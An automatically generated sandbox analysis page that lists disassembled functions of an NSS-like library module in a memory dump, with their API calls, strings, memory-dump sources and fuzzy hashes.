Opcode Fuzzy Hash: d2fde41d375cd86ddf8b1d3d098976d193832b003c1d78ba4b727f0db3d804a1
Instruction Fuzzy Hash: 1C21D3717012849BDB009BB4DEA8BAE33B4EB4631DF47002CE409A7611DF35ED88CA92

Function 6CBB0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBB0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBB0EFA

Part of subcall function 6CA9AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA9AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBB0F2B

Strings

Aborting, xrefs: 6CBB0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBB0ED9, 6CBB0EE5, 6CBB0F06, 6CBB0F0B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 29565448cd055a1ed5d91381b325812a99b4a114fac89c563a0e01200eebafa6
Instruction ID: e70a49f7889aa210dfd9fe8af0dc159e76a31696c8d12eb1f53b0521ccaa9575
Opcode Fuzzy Hash: 29565448cd055a1ed5d91381b325812a99b4a114fac89c563a0e01200eebafa6
Instruction Fuzzy Hash: 3E01C0B6A00154ABDF11AF64EC458AF3F3DEF4A3A8B004024FD1997712D631EE5486A2

Function 6CB74D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB74DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB74DE0

Strings

API call with %s database connection pointer, xrefs: 6CB74DBD
misuse, xrefs: 6CB74DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB74DCB
invalid, xrefs: 6CB74DB8
%s at line %d of [%.10s], xrefs: 6CB74DDA

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 984e9e5e94d0ce11c0a7f39ae73988b3ee2a496247c47c699c6a828fd16c4159
Instruction ID: a2f19c0adea08b39147ff9c83d87671a2f5f85a100d5870ae1441ddb705894dd
Opcode Fuzzy Hash: 984e9e5e94d0ce11c0a7f39ae73988b3ee2a496247c47c699c6a828fd16c4159
Instruction Fuzzy Hash: F0F02415F085F42BE6104025DE14F8633558F0232BF4709A0ED547BA62D316AC988FA2

Function 6CB74DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB74E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB74E4D

Strings

API call with %s database connection pointer, xrefs: 6CB74E2A
misuse, xrefs: 6CB74E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB74E38
invalid, xrefs: 6CB74E25
%s at line %d of [%.10s], xrefs: 6CB74E47

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 54e6d5b945363aba3869592ac5b0f1af6e14f2744ab65b366771387e5628c103
Instruction ID: a09080be5094a8da60957c059864d981c9c214aba460924438a6aacdb05284d6
Opcode Fuzzy Hash: 54e6d5b945363aba3869592ac5b0f1af6e14f2744ab65b366771387e5628c103
Instruction Fuzzy Hash: 7DF09E14E448D86BE63400219C10F933385C70333BF4B84A0EE1437E82D315A8704FF2

Function 6CAA9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAAA086
EnterCriticalSection.KERNEL32(?), ref: 6CAAA09B
PR_Unlock.NSS3(?), ref: 6CAAA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAAA0E9
TlsGetValue.KERNEL32 ref: 6CAAA11B
EnterCriticalSection.KERNEL32(?), ref: 6CAAA12F
PR_Unlock.NSS3(?), ref: 6CAAA148

Part of subcall function 6CAC1A40: PR_Now.NSS3(?,00000000,6CAA28AD,00000000,?,6CABF09A,00000000,6CAA28AD,6CAA93B0,?,6CAA93B0,6CAA28AD,00000000,?,00000000), ref: 6CAC1A65

Part of subcall function 6CAC1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CAC4126,?), ref: 6CAC1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAAA1A3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e89b6811367699a407a42fc238baa79b950fbf9abf6669cd40423c854e6aa09c
Instruction ID: afdfc6a94e2002ace0cc25beec69ff52f677cc4ef5e93b151082aa4eb467ee97
Opcode Fuzzy Hash: e89b6811367699a407a42fc238baa79b950fbf9abf6669cd40423c854e6aa09c
Instruction Fuzzy Hash: 2C51DA75B007009BEB109FA9DD44AABB7FAAF45308B19442DDC1997701EF31DC8ACB91

Function 6CAE0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CAE1444,?,00000001,?,00000000,00000000,?,?,6CAE1444,?,?,00000000,?,?), ref: 6CAE0CB3

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAE1444,?,00000001,?,00000000,00000000,?,?,6CAE1444,?), ref: 6CAE0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CAE1444,?,00000001,?,00000000,00000000,?,?,6CAE1444,?), ref: 6CAE0DEC

Part of subcall function 6CB00F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CAA2AF5,?,?,?,?,?,6CAA0A1B,00000000), ref: 6CB00F1A
Part of subcall function 6CB00F10: malloc.MOZGLUE(00000001), ref: 6CB00F30
Part of subcall function 6CB00F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB00F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CAE1444,?,00000001,?,00000000,00000000,?), ref: 6CAE0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CAE1444,?,00000001,?,00000000), ref: 6CAE0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAE1444,?,00000001,?,00000000,00000000,?), ref: 6CAE0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CAE1444,?,00000001,?,00000000,00000000,?,?,6CAE1444,?,?,00000000), ref: 6CAE0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAE1444,?,00000001,?,00000000,00000000,?), ref: 6CAE0E79

Part of subcall function 6CAF1560: TlsGetValue.KERNEL32(00000000,?,6CAC0844,?), ref: 6CAF157A
Part of subcall function 6CAF1560: EnterCriticalSection.KERNEL32(?,?,?,6CAC0844,?), ref: 6CAF158F
Part of subcall function 6CAF1560: PR_Unlock.NSS3(?,?,?,?,6CAC0844,?), ref: 6CAF15B2

Part of subcall function 6CABB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CAC1397,00000000,?,6CABCF93,5B5F5EC0,00000000,?,6CAC1397,?), ref: 6CABB1CB
Part of subcall function 6CABB1A0: free.MOZGLUE(5B5F5EC0,?,6CABCF93,5B5F5EC0,00000000,?,6CAC1397,?), ref: 6CABB1D2

Part of subcall function 6CAB89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CAB88AE,-00000008), ref: 6CAB8A04
Part of subcall function 6CAB89E0: EnterCriticalSection.KERNEL32(?), ref: 6CAB8A15
Part of subcall function 6CAB89E0: memset.VCRUNTIME140(6CAB88AE,00000000,00000132), ref: 6CAB8A27
Part of subcall function 6CAB89E0: PR_Unlock.NSS3(?), ref: 6CAB8A35

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 99d01a08ac8fddf6aa99326a8e5a6c31ba76abd52ca8a4eabc648849d89bfd38
Instruction ID: f82a88398de436d8f98f332448c6a8bac98862c7b7a54e11db58c3b1cb76e265
Opcode Fuzzy Hash: 99d01a08ac8fddf6aa99326a8e5a6c31ba76abd52ca8a4eabc648849d89bfd38
Instruction Fuzzy Hash: F25195B5E002415FEB009F64ED81ABF37B8DF49218F190064ED1997712EB31ED99A7E2

Function 6CA96E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CA96ED8
sqlite3_value_text.NSS3(?,?), ref: 6CA96EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CA96FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CA96FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CA96FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CA97010
sqlite3_value_blob.NSS3(?,?), ref: 6CA9701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CA97052

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 91155e1de5a5cd712f67c60f327835c36118645613fefe7b9f6cfb1e842d3f79
Instruction ID: 2491a79428b3d9aceb634b3b9941a37e65fe4236ac36e2e589dec0bdd55e427a
Opcode Fuzzy Hash: 91155e1de5a5cd712f67c60f327835c36118645613fefe7b9f6cfb1e842d3f79
Instruction Fuzzy Hash: 556118B1E252498FDB40CF68C9427EEB7F2AF45308F284165D416EBB50E7369C59CBA0

Function 6CB08F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CB07313), ref: 6CB08FBB

Part of subcall function 6CB007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CAA8298,?,?,?,6CA9FCE5,?), ref: 6CB007BF
Part of subcall function 6CB007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CB007E6
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB0081B
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB00825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CB07313), ref: 6CB09012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CB07313), ref: 6CB0903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CB07313), ref: 6CB0909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CB07313), ref: 6CB090DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CB07313), ref: 6CB090F1

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CB07313), ref: 6CB0906B

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CB07313), ref: 6CB09128

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 1985e5a96a391d29bc49d82bee694610c9204bce2ba6037acfc2e8bedb02518f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: F6519271F002419FEB109F6ADC44B26BBF9EF44358F154429E915D7B62EB72E804CB92

Function 6CAB9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CAC0715), ref: 6CAB8859
Part of subcall function 6CAB8850: PR_NewLock.NSS3 ref: 6CAB8874
Part of subcall function 6CAB8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CAB888D

PR_NewLock.NSS3 ref: 6CAB9CAD

Part of subcall function 6CB698D0: calloc.MOZGLUE(00000001,00000084,6CA90936,00000001,?,6CA9102C), ref: 6CB698E5

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

TlsGetValue.KERNEL32 ref: 6CAB9CE8
EnterCriticalSection.KERNEL32(?,?,6CABECEC,6CAC2FCD,00000000,?,6CAC2FCD,?), ref: 6CAB9D01
TlsGetValue.KERNEL32(?,?,?,6CABECEC,6CAC2FCD,00000000,?,6CAC2FCD,?), ref: 6CAB9D38
EnterCriticalSection.KERNEL32(?,?,6CABECEC,6CAC2FCD,00000000,?,6CAC2FCD,?), ref: 6CAB9D4D
PR_Unlock.NSS3 ref: 6CAB9D70
PR_Unlock.NSS3 ref: 6CAB9DC3
PR_NewLock.NSS3 ref: 6CAB9DDD

Part of subcall function 6CAB88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CAC0725,00000000,00000058), ref: 6CAB8906
Part of subcall function 6CAB88D0: EnterCriticalSection.KERNEL32(?), ref: 6CAB891A
Part of subcall function 6CAB88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CAB894A
Part of subcall function 6CAB88D0: calloc.MOZGLUE(00000001,6CAC072D,00000000,00000000,00000000,?,6CAC0725,00000000,00000058), ref: 6CAB8959
Part of subcall function 6CAB88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CAB8993
Part of subcall function 6CAB88D0: PR_Unlock.NSS3(?), ref: 6CAB89AF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: ec0bf35c28b6a1ad2657e964afc7e04b918eb2f951e1055244950dfd617655bd
Instruction ID: a3d535f3f0ec4efe7e0fcd2ec4694727f3b8026c95f04ccac5fd38da30f86fd1
Opcode Fuzzy Hash: ec0bf35c28b6a1ad2657e964afc7e04b918eb2f951e1055244950dfd617655bd
Instruction Fuzzy Hash: 63517174A047058FDB00EF79C28469EBBF8BF54345F158528D898ABB10EB30E8C4CB91

Function 6CBB9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBB9EC0
EnterCriticalSection.KERNEL32(?), ref: 6CBB9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CBB9F73
EnterCriticalSection.KERNEL32(?), ref: 6CBB9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CBB9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CBB9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CBBA01D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: a19a4d4dbfd5bfb0047336766bf30e4ecce65060d1f402243b8c912f2c6c7430
Instruction ID: 4a8cff1c3fd35e4aba61301b3e1b726fb0f612767a499d4a733ee1c6807f293b
Opcode Fuzzy Hash: a19a4d4dbfd5bfb0047336766bf30e4ecce65060d1f402243b8c912f2c6c7430
Instruction Fuzzy Hash: 71519FB2C00640CBCB209F26D48469AB7F4FF14319F15856AD85967F12EB31F889CBD2

Function 6CAC4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAC4E90
EnterCriticalSection.KERNEL32 ref: 6CAC4EA9
TlsGetValue.KERNEL32 ref: 6CAC4EC6
EnterCriticalSection.KERNEL32 ref: 6CAC4EDF
PL_HashTableLookup.NSS3 ref: 6CAC4EF8
PR_Unlock.NSS3 ref: 6CAC4F05
PR_Now.NSS3 ref: 6CAC4F13
PR_Unlock.NSS3 ref: 6CAC4F3A

Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907AD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907CD
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA2204A), ref: 6CA907D6
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA2204A), ref: 6CA907E4
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,6CA2204A), ref: 6CA90864
Part of subcall function 6CA907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA90880
Part of subcall function 6CA907A0: TlsSetValue.KERNEL32(00000000,?,?,6CA2204A), ref: 6CA908CB
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908D7
Part of subcall function 6CA907A0: TlsGetValue.KERNEL32(?,?,6CA2204A), ref: 6CA908FB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 5cbad9cc890f8d5a57945cff3e062055b626e73407e9ce2bbb23e99b0973bc4d
Instruction ID: 56ed6462a2fdf3c2f5a054aedce4bca77706e317e1a82998cff7b2fb7e8901fd
Opcode Fuzzy Hash: 5cbad9cc890f8d5a57945cff3e062055b626e73407e9ce2bbb23e99b0973bc4d
Instruction Fuzzy Hash: 66415BB4A046058FCB00EF78D5848AABBF4FF49354B058569EC999B711EB30E895CFD1

Function 6CAADCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAADCFA

Part of subcall function 6CB69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DC6
